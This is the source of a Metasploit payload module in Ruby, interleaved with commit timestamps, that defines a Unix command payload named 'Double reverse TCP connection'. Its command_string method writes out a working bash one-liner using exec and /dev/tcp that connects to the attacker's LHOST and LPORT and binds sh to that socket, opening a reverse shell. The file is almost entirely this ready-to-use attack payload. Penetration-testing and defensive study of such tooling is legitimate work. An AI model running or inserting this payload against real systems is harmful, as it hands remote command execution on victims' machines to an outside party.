2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-01-14 20:12:53 +00:00
|
|
|
require 'msf/core'
|
2007-02-17 23:41:22 +00:00
|
|
|
require 'msf/core/handler/reverse_tcp'
|
2006-01-14 20:12:53 +00:00
|
|
|
require 'msf/base/sessions/command_shell'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
module Metasploit3
|
2006-01-14 20:12:53 +00:00
|
|
|
|
|
|
|
include Msf::Payload::Single
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Unix Command, Double reverse TCP connection (/dev/tcp)',
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => 'Creates an interactive shell through two inbound connections',
|
|
|
|
'Author' => 'hdm',
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2006-01-14 20:12:53 +00:00
|
|
|
'Platform' => 'unix',
|
|
|
|
'Arch' => ARCH_CMD,
|
2007-02-17 23:41:22 +00:00
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
2006-01-14 20:12:53 +00:00
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
|
|
'PayloadType' => 'cmd_bash',
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Offsets' => { },
|
|
|
|
'Payload' => ''
|
|
|
|
}
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Constructs the payload
|
|
|
|
#
|
|
|
|
def generate
|
|
|
|
return super + command_string
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Returns the command string to use for execution
|
|
|
|
#
|
|
|
|
def command_string
|
2007-02-17 23:41:22 +00:00
|
|
|
fd = rand(200) + 20
|
|
|
|
return "0<&#{fd}-;exec #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']};sh <&#{fd} >&#{fd} 2>&#{fd}";
|
2006-01-14 20:12:53 +00:00
|
|
|
end
|
2008-10-19 21:03:39 +00:00
|
|
|
end
|